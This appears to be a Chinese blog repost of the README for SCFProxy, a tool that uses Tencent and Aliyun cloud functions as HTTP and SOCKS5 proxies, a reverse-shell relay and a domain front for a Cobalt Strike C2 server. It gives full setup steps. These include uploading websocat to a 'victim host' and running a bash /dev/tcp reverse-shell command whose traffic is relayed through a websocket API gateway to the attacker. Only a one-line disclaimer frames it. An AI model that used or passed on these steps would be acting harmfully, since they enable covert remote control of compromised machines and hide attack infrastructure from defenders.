SCFProxy——一个利用云函数实现各种功能的工具

作者:Xiaonuo | 发布时间:

SCFProxy

一个利用云函数实现各种功能的工具。

GitHub项目地址

https://github.com/shimmeris/SCFProxy

功能

  • HTTP 代理
    • 腾讯云
    • 阿里云 (感谢 @lyc8503 提供)
  • SOCKS5 代理
  • 接收反弹 shell
  • C2 域名隐藏

原理

详细原理参见文章浅谈云函数的利用面

TODO

  • 支持其他云厂商
  • 整合多个 HTTP 代理厂商,实现多厂商的一键部署

C2 域名隐藏

该功能无需任何代码,只需要在 API 网关 注册服务即可

网关配置

  1. API 网关中新建服务,访问方式选择公网,其余不变
  2. 进入服务见面,新建 API 配置如下,进入下一步

API

  1. 配置后端类型为公网URL/IP,后端域名配置自己的 CS 服务器,后端超时拉满即可。

url

CS 配置

将网关地址填入 host 监听器即可

listener

HTTP Proxy

安装

需 Python >= 3.8

python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt

一键部署

访问 API 密钥管理 获取 SecretId 与 SecretKey,填入 setup.py 中

运行如下代码查看具体部署方式

python3 setup.py --help

手动项目配置

函数配置

  1. 开通腾讯云函数服务

  2. 在 函数服务 > 新建 中使用自定义创建,函数名称及地域任选,运行环境选择 Python3.6。 函数创建

  3. 修改 server.py 中的 SCF_TOKEN 为随机值(该值将用于鉴权),并将相同的值填入 client.py 中的 SCF_TOKEN,将 server.py 代码复制粘贴到编辑器中。

  4. 点击完成

  5. 如需更多 ip 数,可重复上述步骤创建函数服务,地域选择不同区域。 地区列表

触发器配置

  1. 成功创建函数后进入 触发管理,创建触发器 触发器

  2. 触发方式选择 API 网关触发,其他保持不变即可 网关

  3. 将触发器中的访问路径添加至 client.py 中 scf_servers 变量中,以逗号 , 分隔。

客户端配置

本项目基于 mitmproxy 提供本地代理,为代理 HTTPS 流量需安装证书。 运行 mitmdump 命令,证书目录自动生成在在 ~/.mitmproxy 中,安装并信任。

开启代理开始运行:

mitmdump -s client.py -p 8081 --no-http2

如在 VPS 上运行需将 block_global 参数设为 false

mitmdump -s client.py -p 8081 --no-http2 --set block_global=false

效果

挂上代理获取当前 ip: ip 查询 ipinfo 为腾讯的服务器: tencent

ip 数量

经测试,单个地区服务器 200 个请求分配 ip 数量在 60-70 左右。

限制

  1. 请求与响应流量包不能大于 6M
  2. 云函数操作最大超时限制默认为 3 秒,可在云函数环境配置中修改执行超时时间
  3. 因云函数限制不能进行长连接,仅支持代理 HTTP 流量

ReverseShell

通过云函数的 websocket API 网关实现接收反弹 Shell 的功能。

项目配置

数据库配置

本项目需要一个允许外部连接的 MySQL 数据库。数据库配置语句如下:

create database SCF;
use SCF;
create table Connections (
    ConnectionID varchar(128) NOT NULL,
    Date datetime,
    is_user tinyint
)

修改 src 文件夹内所有文件中的如下变量

db_host = 数据库 host
db_port = 数据库端口
db_user = 数据库用户
db_pass = 数据库密码

push_back_host = 等后续配置 API 网关后填写

函数配置

  1. 参照 HTTP 代理配置 新建三个自定义函数,分别命名为 register, forward, delete。
  2. 进入 API 网关配置,新建如下配置服务

服务

  1. 新建 API,前端类型选择 WS,其余默认,进入下一步
  2. 开启设置注册函数、清理函数。后端类型,函数,后端超时时间分别配置为如下:

函数配置

  1. 点击立即完成,发布服务
  2. 点击生成的 api,进入信息展示页面获取如下信息,将推送地址填入文件中的 push_back_host 变量。

信息

  1. 修改 transmission.py 中的 PASSWORD 变量,该变量将用于客户端连接 ws 后将连接认证为用户。
  2. 分别复制三个文件的内容到对应的云函数中并部署。

使用方式

需要借助 websocat

  1. 上传 websocat(或远程下载)到受害主机
  2. 执行 websocat -E --text tcp-l:127.0.0.1:12345 ws://apigatway 转发端口
  3. 反弹 shell 到本地端口 bash -i >& /dev/tcp/127.0.0.1/12345 0>&1(2、3 两步也可利用 & 合并成一条命令)

反弹 shell

  1. 攻击者连接 ws://apigate,输入 auth PASSWORD 认证为用户,之后正常发送命令即可。 执行命令

ws 连接后可执行的命令:

auth PASSWORD 将当前连接认证为用户,只有用户能接收未认证连接发送的信息
close 关闭当前连接
closeall 关闭目前存在的所有连接

SOCKS5

安装

上传 socks_client 文件夹到 VPS 上,执行安装

python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt

项目配置

云函数配置

参见 HTTP Proxy 的代理配置

注意事项

  1. 修改 server.py 中的 bridge_ip 与 bridge_port 变量为自己的 VPS 的 ip 及开启监听的端口
  2. 修改云函数超时时间为 900s(因此一个 SOCKS5 长连接最多维持 15m)

客户端配置

执行 socks5.py(仅支持 Python >= 3.8)

$ python3 socks5.py -h
usage: socks5.py [-h] -u SCF_URL [-l ip] -sp SOCKS_PORT -bp BRIDGE_PORT [--user USER] [--passwd PASSWD]
SCF Socks5 Proxy Server
optional arguments:
  -h, --help            show this help message and exit
  -u SCF_URL, --scf-url SCF_URL
                        API Gate Way URL
  -l ip, --listen ip    Bind address to listen, default to 0.0.0.0
  -sp SOCKS_PORT, --socks-port SOCKS_PORT
                        Port accept connections from client
  -bp BRIDGE_PORT, --bridge-port BRIDGE_PORT
                        Port accept connections from SCF
  --user USER           Authentication username
  --passwd PASSWD       Authentication password
  • -u 参数需要填写 API 网关提供的地址,必填
  • -l 表示本机监听的 ip,默认为 0.0.0.0
  • -sp 表示 SOCKS5 代理监听的端口,必填
  • bp 表示用于监听来自云函数连接的端口,与 server.py 中的 bridge_port 相同,必填
  • --user 和 --passwd 将用于 SOCKS5 服务器对连接进行身份验证,客户端需配置相应的用户名和密码

常用语法

python3 socks5.py -u "https://service-xxx.sh.apigw.tencentcs.com/release/xxx" -bp 53203 -sp 53201 --user test --passwd test

免责声明

此工具仅供测试和教育使用,请勿用于非法目的。